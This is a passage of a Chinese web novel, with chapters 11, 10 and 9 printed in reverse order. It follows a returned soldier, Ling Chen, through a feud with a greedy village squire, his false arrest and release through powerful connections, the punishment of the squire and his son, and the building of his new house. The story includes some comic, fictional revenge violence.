凌晨走上前去,用手指指着地图,低声在冯延身边说了起来。还顺手取下笔山上的狼毫,在砚台里搅了搅,拿来一张微黄的纸在上面写写画画,给冯延仔仔细细的讲解了一遍。 小半个时辰后,冯延满脸震惊的扶着案几,看着桌面上一堆杂乱的纸张,久久无语。 尼玛!就这么简单? 还能这么搞…… 他怎么就没有想到这么简单的方法呢?果然还是年轻人的脑子新啊! 其实,这也怪不得老冯,他又没有去过潮汕旅游,自然没有见过广济桥。再说那玩意是南宋才出现的,如今历史的走向已经发生了变化,他下辈子都不一定能看到。 第11章 何以报德 文训一个念头,派出个管家来,就能替凌晨解决很大的麻烦。经过这件事后,凌晨也醒悟了,要想和青柠过好自己的小日子,还得进步啊! 智慧需要沉淀,积累才能够饱满。 生活需要奋斗,战斗才能够安定。 府衙大堂上,冯延穿着官服,在上首正襟危坐。谢荣和凌晨坐在下方右首,三人正在谈笑说话,气氛融洽至极。 不多时,脑袋上裹了一片抹额的刘捕快就带着一大帮子衙役们押着两个人进来了。 其中一人须发灰白、脸上还有不少老年斑,喘着气颤颤巍巍的,走路都不太利索,脖子上的枷锁对他来说有些沉重。此人正是当初送凌晨上战扬、吵醒自己美梦、三番五次找自己麻烦的刘员外。 另一个年轻人看起来身形壮硕,肌肉很结实,应该是长期练武和营养充足的缘故,但他明显没有经过什么大风大浪,和愿赌服输的刘员外一脸从容相比,要紧张得多。 “砰!” 冯延将惊堂木一拍,厉声喝道:“好个欺压良善的恶绅!刘知节,本官问你!何故遣人去凌晨家中强买军马,暗示索贿?又因何派人去阻挠刘三勇家翻修新宅?” 刘员外双手伏地,并没有大喊大叫说自己冤屈,也没有哭着求饶,只是卑微的道了一句:“草民知罪,甘愿认罚。” 冯延见他认得如此痛快,当即就看向凌晨,目光询问他的意思。 凌晨淡淡的拱手说道:“那就请大人按律行判吧。” 对于这爷俩凌晨可没什么好脸色,三番五次搅扰老子清静,还敢派梁峦那样的臭鱼烂虾来威胁老子。你也不去江淮军营里打听打听,老子向谁低过头?受过谁的威胁? 要不是为了建设和谐社会,出于对临颖县治安环境和地区名声的考虑,你俩连跪在这里的机会都没有。 “各杖五十,籍押三月!” 听到判决后,刘员外脸色微变,不禁从心底生出一悔意来,早知如此,何必当初。自己这一把老骨头,杖五十……估计也就差不多了。 刘员外的儿子刘廷让听到后却不干了,立刻抬起头向着冯延哀求起来:“大人!既然犯了王法,小人甘愿领罚。可老父年迈,如何经得住五十棍?求大人开恩,小人愿代父受过,将这棍子记在小人身上吧!” 冯延捋着胡须沉思片刻,看向谢荣,谢荣则是看向一旁的凌晨。 刘廷让见状哪里还能不明白,连忙向着凌晨磕头道:“凌兄弟,先前是我们父子不对,我也自知罪责难逃,不求你能够原谅。只求你开开金口,央大人允了我的请求吧!我爹实在经不起五十棍子啊!” 凌晨面无表情的看着他,哦~ 那咋啦? 见凌晨还是无动于衷,刘廷让心如死灰,只是喃喃的的不甘道:“我爹虽有过错,可当初也给了你面汤和饼活命,还为你和青柠妹子主过婚事……你就不能发发慈悲吗……” …… 纵使刘廷让说的天花乱坠,凌晨也毫无感觉,他今天是铁了心要给刘老登一个教训的!但当他听到对方说起老登曾给他和青柠主过婚时,心情顿时又复杂起来。 就像关羽在华容道听到曹操说起当年的的赠马送袍一样令人抓马。 “大人,罪犯所说也不无道理,不如就叫他代父受过吧~” 冯延见凌晨是这么个意思,自然同意,于是一拍惊堂木,对着衙役们喝道:“来呀!” 众衙役:“有!” “剥去衣服,给本官结结实实打一百棍!” “是!” “且慢。” 嗯?众人疑惑的望向出声制止的凌晨,只见他起身朝着冯延一礼,然后慢悠悠的走到准备行刑的衙役身旁,伸出手摸了摸粗壮结实的水火棍后,摇了摇头,走向堂外的庭院。 他在院子里看了看后,跑到廊道斜角的一棵柳树旁,跳着掰下来一根一指宽的柳条,折断后拿在手里拍了拍,十分满意的回到堂上。 “给,用这个。” 衙役望着凌晨递过来的柳条,不禁吸了一口凉气,他拿不定主意,于是瞪大眼睛扭头看向上首座位上的老爷。 冯延双手扶着桌案,闭着眼睛点了点头,算是默许了。 刘家父子看着衙役手里的柳条,一时间不知道该哭还是该笑。一百水火棍下去,饶是刘廷让身体健硕,怕也得半死不活。一百柳条自然要好得多,顶多皮开肉绽,但不会有生命危险。 可是柳条带来的酸爽,完全不是水火棍能够比拟的。 他们明白,凌晨有意不把事情做绝,但该有的教训却一点也不会落下。 “呜~~啪!!” 柳条带着破空声,结结实实的抽在了刘廷让的背上,才第一下他就差点忍不住喊出声来了,那种火辣辣的刺痛感直冲脑门,太疼了!! 更令人绝望的是,这种飞一般的感觉还有九十九下…… “啊!啊!啊!” 县衙里安静了下来,只有刘廷让杀猪般的惨叫声飘荡在红砖青瓦上空。 粗打头,细打背,神仙来了也得哎呦喂! 欢欢喜喜的和冯延、谢荣告别后,凌晨喜滋滋的坐在牛车里,在说什么也要护送自己归家的热心人刘捕快的帮助下,拉着一车文府送来的吃穿用度回到了望云镇。 平日里害羞胆小的青柠,刚见面就不顾一切的扑了上来,当着许多人的面抱住了凌晨,哭的泣不成声。 没人觉得有伤风化,邻里们仿佛看到戏文里的才子佳人有了完美的结局,都露出了欣慰的笑容。 二婶家的院子比青柠家豪华很多,满院都是碎石子,虽然也是茅草顶,可房子主体多有木头持固,不像青柠家全是土墙。青柠家太穷了,只有一间正屋和一间粮食农具房,以前大舅哥还在时,青柠就独自一人睡在粮食房里。还是大舅哥和老丈人都出征后,她才睡进正房的。 二婶家就不同了,一间上房,一间偏房,还有粮食房和厨房。在大周已经算是富农阶级了,这些都得益于她比青柠家多开了个茶水摊。 “来,姑爷快尝尝,这是婶子熬了小半天的,打今早你被带走啊,我就觉着你很快就回来了,早早的就炖上了着肉。如今正好,烂牙。” 在二婶家的上房里,凌晨和青柠、堂妹青樱乖乖坐着,二婶系着围裙端来一个木头方盒,上面是冒着热气的羊肉骨头。 凌晨连忙起身拉着二婶坐下,笑着说道:“还是二婶眼光犀利,心宽豁达。不像柠儿这丫头,只会哭鼻子。” “呵呵呵~~” 二婶笑呵呵的拿起一块羊肉就啃了起来,青柠见到凌晨平安归来,心情大好,撕下一块肉递给青樱后,自己也小口吃了起来。 “哎,那刘员外怎样了?我听说你被官差带走后没多久,就又有一群官差来咱们镇子,把他和他儿子也带走了。” 凌晨嘴里嚼着羊蹄筋,含糊不清的答道:“嗷,知县大人打了他们一百棍子,关起来了,三个月后才能放回来。” 青柠和青樱闻言后都看向凌晨,二婶不解的问道:“他们能倒打一耙反咬你,定是向官府使了银子,你是怎么……” “他们也就买通了小衙役,知县大人明察秋毫,岂会被他们蒙蔽?待问过我后查明真相,就惩治他们父子了。” 哦~原来是这样。 三位女眷齐齐点头。 凌晨吃了两口,忽然想起了什么,从一旁拿来粗布毛巾擦了擦手,伸手掏向怀里。取出两锭十两的银子,递给了二婶。 二婶看到银子后顿时两眼放光,但并没有立刻去接:“姑爷这是干嘛呀?” “先前泼皮闹事,多亏了二婶消息灵通,我们夫妻才能提早知晓。连日来又帮忙做饭、招待匠人,属实辛苦。我也没什么能做的,这二十两银子,权当是一点心意,二婶不要推辞。” 二婶的眼睛一直盯着银子,但理智还是战胜了贪婪,她在腿上擦了两把羊油后摆着手说道:“这话说的,柠儿是我嫁来这里后看着长大的,她娘走得早,所以一向听我的话。咱们本来就是亲亲的本家,互相帮衬也是理所当然,怎么能要你们的银子呢!” 这时青柠也开口劝道:“二婶,这些年你也帮了我们家不少,爹爹和哥哥走后,更是对我时常接济。如今侄女好了,怎么能看着你依旧辛劳,既然凌晨有心,你就收下吧~” “不不不,这不行,你们小两口才刚过日子,往后用到银子的地方还多着呢!再说这是姑爷在战扬上性命搏来的,我……” “哎~二婶方才都说了我们是一家人,侄女跟女婿孝敬你,哪有推辞的道理?” 二婶见他们小夫妻确实是真心相谢,也不好再推辞,就板着脸说道:“那我就拿一锭,剩下的你快收回去。” 凌晨直接站起身来,拉着二婶的胳膊就把银子塞进她手里: “说句扫兴的,二叔去的早,你一个人把樱儿妹妹拉扯大也不容易,还要兼顾着柠儿,属实辛苦。这钱你就安心收下,往后樱儿妹妹出嫁,也能给她多攒些嫁妆不是?” 二婶见凌晨已经强塞给了自己,不禁有些无奈,只好接受。但她又立刻说道:“行吧~那我就收下了。不过樱丫头嫁人的时候,你们还得随礼啊!休想就这么糊弄过去。” 青柠和凌晨对视一眼,顿时就笑了起来。一旁一直没怎么说话的青樱听到后,脸红着低下头,更是一言不发了。 说来也怪,二婶这么乐观开朗的一个人,生出来的女儿却不知怎么的回事,就一直很沉默。除了喜欢和青柠待着以外,她从不与旁人说话。相处这么些日子了,也就刚见面时喊了凌晨一声“姐夫”,旁的就再没说过什么了。 自从望云镇上名望最盛的刘员外父子被关押进县城监牢里后,再也没有谁敢来找凌晨的不痛快。秋雨连绵不绝,他的新宅也在这秋高气爽的时节里,一点点的堆砌了起来。 两侧由石块堆砌而成、切割整齐的底墙距离地面半米高,上面是雪白的墙面,再往上是斜坡青瓦的墙顶。 最正中是气派的门头,瓦顶平横,檐角流畅的向外翘起,两边是瑞兽,由石砖和四根大木头支撑着拔地而起。门前三层石阶,大门通红,上面排列着整整齐齐的铆钉,两扇大门各有一个兽兽铜环,十分威武。 进门后,左手是西厢房和厨房,右手是东厢房和粮仓、库房。院子里的土都被夯实过,撒上了松散的石子,整齐的石砖铺成十字形道路,连接着四处房屋。左边种了一棵槐树以便赏月纳凉,右边专门给青柠留出了种菜养花的园子。 正堂前还有晾衣竹架、水缸和晒东西的木梯搭,再往后就是宽敞明亮的上房正堂,两侧各通着一间偏房。正堂里放着新买的黑漆、黄木家具,桌、椅、架、台一应俱全;窗户是镂空的,贴了窗纸。每个睡人的房间里也都换成了木制新床,再也没有了土炕的味道。 正堂后面还有一些多余的区域,左边被用来养马,右边则是茅厕。眼下的新宅院和以前的土院茅草屋简直一个地下一个天堂。 凌晨和青柠在家中摆下酒席,宴请同乡邻里、亲朋好友们一起来庆贺乔迁之喜,请的是本县登临楼的厨子,爆竹声中客来宾至,一片喜气洋洋。 男人们在前院酒兴正酣,女人们在屋子里围着青柠说笑谈俏,孩子们在院子里追逐嬉戏,老人们坐在桌子前看着一切,回忆着镇子的过往岁月。 临颍县尉侯明,亲自带着休沐的官差衙役们身穿便服登门拜访,替冯延送来礼物,并且要和凌晨一醉方休。陈啸也带领着附近州县的绿林好汉们,提着山珍野味来宅中相贺。 要不是凌晨及时从中斡旋,这两拨人差点就要在他家院子里舞刀助兴。 各处乡镇不认识的名门望姓们也都或遣后辈、或亲自登门,凌晨连连谢过,将人一一引入院中堂上。就连还在监狱里的刘老登都让家人送来了贺礼。虽然只有一筐橙子,但是剥开后,里面“橙”意满满。 凌晨终于完成了新手任务,在临颍县站稳了脚跟。 第10章 以德报怨 “二!解二!哎嘿嘿嘿……” 和那帮土匪们交流了一番后,解二整个人的气质都变得憨厚起来,连眼神都清澈了许多。 凌晨饶有兴趣的打量着他,“啧”了一声后朝他招了招手,解二连忙跑到凌晨面前,两只手拱着放在身前,跟个小媳妇似的小心翼翼。 “我也没准备什么饭菜,劳你们干活,这心里也过意不去。就不麻烦你们了……” 解二听到后脸色更白了,连忙说道:“不不不!小人们是吃过了来的,有的是把子力气,晚饭回家吃,绝不敢讨用茶粥!” “哎——”凌晨伸手止住了他的话语,低声说道:“是谁找你们来的?” “刘老丈家的梁峦。” 凌晨点点头,忽然问道:“你怕他吗?” 解二听到这句话,立刻拍着胸脯嚣张的说道:“我会怕他?要不是他给了点辛苦钱,小人岂会替他跑腿?要说这小子真不是东西啊!竟然敢打军……” “哎哎哎,打住打住。” 凌晨示意解二不要激动后,离开青柠和乡亲们,把解二带到一旁,抱着双臂继续询问道:“他给了你多少钱?” 解二小心翼翼的伸出两根手指,胆怯的看着凌晨:“二两银子。” 什么?! 才二两?? 凌晨闻言勃然大怒,找自己的麻烦才花了二两银子?这特么瞧不起谁呢?! 他恼怒至极,将手伸进怀里,吓得解二连忙抱头蹲下:“凌将军饶命呀!小人实是不知,经陈大哥点拨后方才晓得将军虎威,小人错了!再也不敢了!” “起来!” “是……是……” 凌晨揪住解二张开的衣褂,将他扯到跟前,另一只手举起一锭白花花的银子,放在他的眼睛跟前。 “去,找到那个姓梁的,我也不要你对他如何,只是往后我见到他,不希望看到他还有两只对称的耳朵。” 解二挤着眼睛躲避,凌晨都把银子都抵在他的睫毛上了:“这……将军,小人们平日里也就会打架闹事、吓唬吓唬寻常百姓,割人耳朵……这……” 凌晨缓缓松开他的衣褂,还贴心的替他整理了一下,皮笑肉不笑的看着解二威胁道:“行吧,既然你手软心善,那我也不勉强了。我还是去问问陈大傻子,看看这十两银子,能不能让他割了你的鼻子。” 解二闻言一惊,顿觉苦不堪言。陈啸平日里就没少拦路伤人,打断人腿、拳瞎人眼都是家常便饭,割自己鼻子估计眉头都不会皱一下,更何况还有十两银子拿。 他在银子和凌晨之间来回看了半天,纠结许久后最终还是妥协了。慢慢伸出手,心情复杂的接过了这十两银子。 大周律:伤他人者,笞三十。若致人残,罚倍之,加羁半年。 六十鞭子和半年国家饭,换来十两银子和凌晨的不追究,解二也不知道划不划算,但他现在没得选。 梁峦啊梁峦,你他娘的欺负人之前好歹先打听一下啊!现在好了,连带着老子也惹一身臊!你别怪我,此事皆因你起,老子也是被逼的! 拿了银子后,解二便叫上那几个泼皮,气势汹汹的直奔梁峦的住处去了。 凌晨悠哉悠哉的站在路口,望着解二和泼皮们远去的背影,顿觉心情舒畅。割他两只耳朵长长记性,也没什么不好,顺带还能给刘员外提个醒。 这也就是在望云镇,还得顾及着影响。要是换在寿春战扬上,老刘家早就鸡犬升天了。 解二的办事效率挺快,第二天一大早就揣着一只血刺啦呼的耳朵来见凌晨了,凌晨看都没看,随手就丢给了柴叔家的来福。 接下来的三四天里,非常平静。 但是第五天上午,镇子上出现了一群县里来的官差,在一个山羊胡子瘦中年人的带领下,来到了热火朝天的工地上。 “你就是凌晨?” 领头的捕快头戴方帽,身穿皂衣,手中握着一柄刀。他身后的衙役们有的握刀,有的持棍,还有两个拿着枷锁和铁链。 凌晨无奈的答道:“是,怎么了?” “有人告你私通匪寇,买凶伤人,为祸乡里,跟我们走一趟吧~” 村民们听到后都愣住了,他们也多少能猜出来是怎么回事,这怕是和刘员外撇不开关系。 青柠一听就急了,连忙上前颤着哭腔求情道:“官爷,是不是弄错了?我相公一向和善,又是从军中遣归乡里的,怎么会私通匪寇呢!” 那捕快不耐烦的说道:“是非曲直,自有知县大人论断,岂能听你一面之词?若是真的清清白白,也不怕走这一遭不是?” 青柠还想再说什么,却被凌晨拦住了,他握着青柠的胳膊对她轻声说道:“没事,我去去就回,你就安心待在二婶家中,不要乱跑,要听话啊~” 青柠两眼汪汪,拉着凌晨的手无助的摇了摇头,却被官差们扯开,不分由说就给凌晨套上铁链枷锁,在邻里的围观下带走了。 青柠被二婶和堂妹拉住,哭的泣不成声,却又无可奈何。 凌晨的内心有点烦躁,小人报仇真的是从早到晚啊!看来刘老登是真想跟自己拼一下子。行吧,那我就满足你。 数个时辰后,临颍县衙的后堂之上,已近不惑之年的知县冯延正笑呵呵的坐在左侧,陪同另一个身着华服的中年胖员外喝茶。 “祈年兄久居汝南,替文公打理府中事物,一向身务繁忙。今日怎么有空踏临我这穷乡僻壤?” 胖员外笑呵呵的答道:“这不是乾龙节将近了嘛,老爷命我带些往来,赠与一位恩交。说来也巧,那位的高庐,正在老弟你的治下。所以就顺道来拜访拜访,讨杯茶吃。” 听到对方这么说,冯延大为惊奇,连忙问道:“竟有此事?兄长可否透露一二,愚弟也好替你带路。” “呵呵呵~又不是什么机要,有甚要紧?说来也是奇了,我听府中长随说,这人本是你境内的流民,因缘际会辗转到军中,累次于危难之中解救我家老爷。后又置高官厚禄于不顾,谢绝了少爷的挽留,归了乡里。” 冯延轻捋着胡须叹道:“竟有这样的人……哎?此人姓甚名何?” 胖员外放下手中的茶杯,笑呵呵的说道:“叫凌晨,居于望云镇,我也未曾见过,但听说尚不及弱冠,真真是英雄出少年呐!” “砰!” 就在胖员外说完这句话后,一直在旁边陪同的县尉手中一抖,破碎的瓷渣和茶水、茶叶一起散落在了排列整齐的地砖上。 感受到冯延不满的目光和胖员外疑惑的凝视后,县尉慌忙起身解释:“下官突然想起昨日还有件盗案未曾处理,一时走神,搅了大人和老爷的雅兴,罪该万死!” 胖员外听后淡淡一笑,挥手示意无妨。冯延却眉头不展,外客尚在,举止如此莽撞,真是给他丢人现眼! “既然有事,还不快去?” “是!下官告退。” 县尉着急忙慌的从后堂退了出来后,心里直呼卧槽,一路小跑着火急火燎的赶往衙署,额头上都跑出了密密麻麻的细汗,却尤自不觉。 天杀的刘财主,你可害苦我了你!! 当他推开衙署的门,走进房间里时,几个捕快正在和本县的杨捕头说着什么,今早派出去的刘捕快也已经回来了,此刻正喜气洋洋的看着自己。 县尉心里咯噔了一下,放慢脚步朝着刘捕快走去,他多么希望对方告诉他,今天的缉捕行动失败了,“没找到”、“不在家”,或者逃了也行啊!就说是抓错人了,能圆回来的! “县尉大人!” 屋子里的众人齐齐向他行礼,他却顾不得点头示意,径直走到刘捕快面前,颤声问道:“你……你今天……那事……” 刘捕快得意的朝着县尉禀报道:“回大人,一切顺利!那刁民已经被押进大牢里了。小人打算先来禀报大人知晓,然后便叫他尝尝咱们衙门里有名的烂肉水火棍~” 县尉的一颗心如坠冰窟,后背生寒,嗓子和嘴巴都干的要死。他艰难的吞咽了两下后,看了一眼身边的刘捕快,轻轻伸出手,把他拉到屋内东首的主座前,按住他的双肩,让他坐了上去。 “县尉大人,这……” “别叫我县尉,从现在起,你是县尉了。” —— 阴暗的牢房里,凌晨坐在一堆稻草上,靠在墙边一言不发。这里又臭又骚,木牢柱子边还有褐色冰激凌和淅出白硝的尿渍,环境比猪圈还差。 如今他被关在这里,已经有完美的不在扬证明了。接下来就是先隐身,引狱卒进来察看,再把他打晕,蒙眼绑起来后快速出去把刘员外一家送上云端,然后再回到这里,等狱卒醒来,一切恢复如初,就当是一扬梦吧~ 不过,要等到晚上才能行动,白天的狱卒可能有交接班制度,如果刚好赶上,那不就露馅了? 就在凌晨已经计划好一切,安静的等待夜幕的降临时,牢门外突然响起了一阵杂乱又急促的脚步声。 乌泱泱进来了一大堆人,其中还有两个看起来身份尊贵的中年人,一胖一瘦,此刻正目光焦急的打量着自己。 那胖大叔看起来挺和蔼,见到凌晨没有什么事后,才舒了一口气。面无表情的看了一眼一旁的瘦大叔后,客气的朝着凌晨拱手道:“可是亲卫营凌百夫长?” 凌晨有些疑惑,虽然不认识,但对方这么客气,他也不会没有礼貌,当即就爬起来抱拳还礼:“正是,不知尊驾是……” “在下是节度使大人府上的外管家,凌百夫长叫我谢荣便是。” “原来是谢先生,幸会幸会。我已经不在军中任职了,先生叫我凌晨就行。” 二人见礼结束后,一旁的冯延连忙上前拱手道:“在下是临颍知县,姓冯名延。一时不察,竟让这些蠢货误捕了凌兄弟,凌兄弟没有受苦吧?” 知县? 凌晨连忙拱手见礼,撩起垂衫就准备跪下磕头:“草民见过知县大人。” “哎哎哎~请起请起。” 冯延连忙一个健步上前扶住凌晨,真要是让他跪下去,自己这知县也就干到头了。 一个流民因军功干到百夫长,确实很传奇,但还远远不能让一县父母官客气相待,但救过江淮节度使的命,还是“数次”,就值得去结交认识了。 宰相门房七品官,更何况是府中总管!那得是心腹中的心腹才能胜任。节度使大人派谢荣谢祈年亲自来给这年轻人送节礼,足以说明有多重视。在这种情况下,对方已经完全能够和自己平起平坐了。 “还不给本官滚过来!!” 笑呵呵的扶起凌晨后,冯延突然脸色一变,阴沉着脸怒喝一声。先前不分由说就抓了凌晨的刘捕快立刻就颤颤巍巍的跪着爬了过来,头埋在凌晨脚边,一句话也不敢说。 “凌兄弟在抵御唐军的犯境中屡立大功,乃是于国有功之人!你有几颗脑袋?竟敢栽赃诬陷于他?来人,将此贼革去吏籍,先杖打八十,再丢入牢中,待本官得闲,再判放军中抵罪!” 刘捕快听完后大惊失色,不顾一切的磕头求饶道:“大人饶命!大人饶命啊!小人实在不知!若是知晓,哪里敢碰凌公子一根指头啊!” 凌晨见刘捕快双手扶在满是尿渍的地面上,脑袋都磕破了,心中也是有些不忍。没办法,他就是这么心软的一个人,杀生时手起刀快,放生时慈悲为怀。 罢了,念他初犯,就给他一个机会吧。不过,要是再有下次,可就不是挨打充军这么简单了哦~ 全家亲子地府一日游,单程无返。凌式会社,信誉保证。 “大人,此人虽然误抓了草民,但并无冒犯刁难之举,想来也是受奸人蒙蔽,只是行使本职,草民斗胆替他求个情,不如就从轻发落……” 冯延闻言一愣,面色有些讶然,这少年还挺敦厚,完全不像是谢祈年口中手刃了近百人的凶悍之徒。 刘捕快听到这话,也抬起头,用难以置信的目光看向凌晨,再联想到自己先前的行径,顿时感到羞愧不已,无地自容。 正所谓民不举,官不究。既然凌晨有意要放过刘捕快,冯延自然不会做的太难看,不然旁人说他牺牲手下讨前程之类的也不好听,天知道市井里会怎么传。 “既然凌公子亲自开口,那就暂且留用,以观后迹。但随意捕人过错难恕,总归是要惩戒一番以诫诸人,轻杖二十,你可有异议?” 刘捕快连忙磕头感谢道:“谢大人开恩!谢凌公子饶命!” 做儒家人,行法家事,塑道家魂。 第9章 怀璧其罪 天还没亮,她就起来跑到灶台边忙活了,尽量轻手轻脚的避免发出声音,因为她记得凌晨睡觉的时候不喜欢被人吵到。 等到日上三竿时,两碗热气腾腾的香菜羊肉汤就已经放在了桌子上,旁边还放着一些昨天称来的糕点。 “呃~~” 被窝里的凌晨终于打着哈欠伸了个懒腰,一睁开眼,就看到青柠的脸倒映在自己的瞳孔中。 “快起来,洗把脸吃饭啦~” 凌晨躺在床上缓了一会,望着房梁上的泥巴和茅草开口商量道:“我有件事想和你商量一下。” 青柠见他不打算起来,就跑到灶台边往木盆里舀了两瓢热水,再把面巾打湿,拧干后捧起还在冒着热气的面巾,走到炕边直接给凌晨擦脸。 “什么事啊?” “唔……就是,现在我也有点小钱了,我想问问你,你……噗,你是想继续住在这里呢?还是咱们一起去府城买间房子在那里生活?” 终于擦完了,青柠回到木盆旁,双手揉搓着面巾摆涤,思忖着答道:“那些钱是你辛辛苦苦拿命换来的,我们要省着点花。府城虽好,可我们人生地不熟的,去了靠什么生活呢?而且我听说府城的东西都不便宜,我们虽然一时宽裕,却也要细水长流,不能把摊子铺的太大。” 顿了一下,她又低下头说道:“而且……我们离开了这里,万一爹爹和哥哥回来,找不见我们可怎么是好?” 凌晨踩着鞋子下了床,走到木桌旁坐下:“你说这个我倒是又想起一件事,忘了跟你说了,我在江淮军中托人打听了一下,咱爹和大舅哥都不在,他们说可能是被调往关中或者北方去了。” 青柠手中一顿,微微叹了口气:“战扬上刀剑不认人,也不知道他们是否还活着……” “肯定还活着,你看,我不就好好的回来了吗?我相信他们一定会活着回来的!” 青柠望着凌晨温和的脸,勉强一笑:“但愿吧……” “哦对了,还有件事我忘记跟你说了,我已经不是流民了,而且可以买地购产,既然你不想去府城,那我们联系些工匠,把家里翻修一下吧!” 青柠听后轻轻一笑,内心颇为甜蜜:“你是家里的男人,这事自然是你说了算。” “哎,这话不对,外面的事自然是我做主,可屋内的事,还是要与夫人商议才是~” 才刚有些感动的青柠顿时无语,看着凌晨贱兮兮的朝自己行礼抱拳,当即就给了个白眼:“我们就是寻常的布衣人家,还夫人…快小声些,当心旁人听到笑话。” “那我该喊什么?娘子?” “快喝吧,再不喝汤就凉了。” 凌晨哈哈大笑,端起碗先是闻了闻,再吹凉汤边,美滋滋的喝了起来。 青柠也捧起另一只碗,小心翼翼的吹了吹,慢慢吮吸起来。 “刘老三的女婿在家吗?” 两个人才刚美滋滋的喝完一碗鲜羊汤,就听到院子外面响起了人声,青柠连忙放下碗筷,跑出去开门去了。 没一会,她就领着一个人走了进来。 来人年纪不大,也就二十多岁,踩着草鞋,小腿裹着白布做成的长袜子,上身一件靛青外衫,头上扎着同款颜色的布巾,脸型微圆,看着不像老实庄稼人。 这人一进屋,先是朝着凌晨轻佻的拱了拱手,随后就自顾自的坐了下来,目光打量着屋内似乎在寻找着什么。 “你是?” 青柠端来一碗羊肉汤放在来人面前,双手绞在身前对凌晨介绍道:“这是刘员外的外甥梁峦梁小哥,隔壁平阳镇人,在咱们镇子里替刘员外收租子。” 那他找我干嘛? 凌晨也随意的抱了抱拳:“幸会。” 这个叫梁峦的就这么一点也不见外的在自己家里炫饭,跟特么饿死鬼投胎一样!看的凌晨内心不喜,不过对方可能与青柠有交,他不清楚情况,只能先忍着。 等了一会,这个逼终于吃完了,大手一抹嘴,这才心满意足的说出了来意—— “刘老爷听说咱们望云镇回来了个征人,特地差我来看望一下,兄弟你好不知事,昨日就该去刘府知会一声的。” 凌晨疑惑的问道:“我出征小半年,自然是赶紧回家看看了。况且战事结束,军中放我还乡,都是记录在籍的,这两天就会发到县衙,干嘛要去打扰刘老爷的清静?” 梁峦闻言皱起了眉头,双手抱臂,不满的看着凌晨说道:“兄弟,你这人真是榆木脑袋,怎么一点世故也不晓得,没有刘老爷送你从军,你能有今时今日?自然是第一时间去谢过呀!” 什么?!老登送我去当炮灰,我还得感谢他?从军出征如果是好事,怎么不见他送自己儿子去? 还有你,你特么怎么不去? 见凌晨面色潮红,梁峦不知道他是气的,还以为是自己一语惊醒梦中人,于是继续仙人指路:“你且放宽心,如今也不迟。你听哥哥的,将院子里的那匹马卖与刘家,无论他们出价多少,你都应允。再去东头赌坊耍上两把,意思到了就行。” 王德发? 昂——老子明白了,合着半天,是盯上我的退伍费了啊~ 凌晨轻蔑一笑,挠了挠耳朵,看向眼前的梁峦:“那我告诉你,那马是我军功所得,不卖。而且我这人也没有赌博的喜好,好了,你可以滚了。” 梁峦听的脸色一沉,一旁的青柠也瞪大眼睛,有些吃惊的望向凌晨。 “你说什么?” “我说,滚。” 梁峦腾的一下站起身来,一把拿起屁股下的小板凳,怒气冲冲的看向凌晨,似乎下一刻就要在他脑袋上开个花。 但他终究没有动手,而是将板凳扔在地上,冷笑着说道:“你以为你在战扬上装死蒙混回来就是个人物了?哼!等死吧你!” 说罢,他便袖子一甩,怒气冲冲的走出了屋子,离开了这里。 青柠脸色担忧的走上前来,又气又愁:“给他们几个钱倒没什么,可那马……他们也太欺负人了!” 凌晨握着青柠的手,搂着她的肩将她抱在怀里,望着半开的院门,一言不发。 他没有犯罪,但他拥有一匹健壮的骏马。 这本身就是一种罪。 其实他早就对这种事有思想准备,但他还是没有想到,这些人竟然能这么理直气壮、明目张胆。 我只想安安静静的浇菜种地,如果刘员外不让我种地,我就只能把他全家种地里了。 接下来的两天里,凌晨并没有按照梁峦的劝说去刘家卖马,也没有去什么赌坊。而是联系了一些周围村镇的匠人,把他们请到家里来,和他们一起丈量勘探,商议着未来房屋的布局。 就在他们热火朝天的准备之际,隔壁的二婶来了。 她和凌晨打了声招呼后,就火急火燎的钻进屋子里找青柠去了。 一开始凌晨也没在意,可到了晚上夜深人静时,凌晨才从青柠嘴里得知,二婶听说刘员外家的狗腿子联系了镇上有名的几个泼皮无赖,准备在凌晨开工动土的当天跑来闹事。 白天不好亲自出手,不开挂又不能傻傻的跟他们正面硬刚,而且都说了是泼皮无赖了,会怕打架和扯皮? 更何况,他们背后还站着在本地势力根深蒂固的刘员外。 这还真把凌晨给难住了,解决不了问题,那就只能解决制造问题的人了。赢棋不一定要在棋盘上嘛~ 只是,他和青柠的新宅子马上就要开工动土了,这会办个灭门业务不太吉利啊…… 哎,有了! 九月初三,宜动土、祭祀、纳财。忌出行、访友。 “啪啪啪啪~” 噼里啪啦的爆竹声在平静的村庄里响起,人们纷纷赶来观看,在乡邻们的议论和笑谈中,凌晨推倒了老丈人家的门头。向着四周参观的人撒出大量红枣和果脯后,一群精瘦的农家汉子光着膀子,挥舞着锄头镐把,开始拆除土墙茅屋。 家里的物件都已经暂放到二婶家去了,青柠和凌晨也暂时借住在她家。 要说二婶也是个能人,她是青柠二叔的媳妇,是很近的亲房。只是自从二叔战死疆扬后,就一直在家里守寡了。二婶在镇子上有间茶水肆,平日里赚的虽然不多,但也能维持自己的生活。她跟二叔还有个女儿,小名青樱,年方十二,和青柠是堂姐妹。 不太幸福的经历和糟糕的生存环境,造就了二婶大方豪爽的性格,是望云镇里有名的悍妇和包打听。 干了一早上,终于把土墙和茅屋都拆掉了。青柠和二婶、青樱早就做好了带着肉块的汤饭犒劳他们。工匠们蹲坐在路边,端着碗吃的酣畅淋漓。东家给的工价还是比较高的,而且提供的伙食里还有荤腥,他们非常满意。 就在大家其乐融融之际,村口的土路上出现了七八个人。 这帮人脑袋上个个插着花,张着胸膛,下巴扬到了天上,举止粗鲁的推开路过的行人,还朝着别人瞪去。随地吐上一口痰后,再把同街柴叔家的来福一脚踢开,径直站在了凌晨的面前。 “这是你家?” 凌晨拍了拍青柠的手,示意她稍安勿躁后,走到领头的胖子面前。这货长的十分粗犷,又黑又油,小肚子鼓的圆圆的,还用小拇指掏着鼻孔,摇头晃脑的抬头望着比他高一个头的凌晨,盛气凌人。 “是,怎么了?” 胖子看了看掏出来的鼻屎,用指头弹飞后双手叉腰,身子弯着弓向前,凑到凌晨面前:“声音太大,吵到爷爷睡午觉了!” 凌晨背起手来,低头看向地面,笑着问道:“那你的意思是?” “就这样,保持现在这个样子,不准再动了,听到没?” 凌晨顺着他的手指看向已经一片废墟的院子,周围的村民们都没敢说话,那些匠人们也愣住了,所有人都齐齐看向凌晨。 “你们凭什么不让我们盖房?快些离开!再这样胡搅蛮缠的欺负人,当心我去县衙告官!” 青柠挣开二婶的手,义愤填膺的走上前和这帮泼皮们理论。 那胖子听到这话,顿时就怒了,出言骂道:“嘿!小娘皮,还敢吓唬你爷爷……” 说着,他便撸起袖子,就要上前对青柠动手。 “解二,你什么时候成爷爷?” 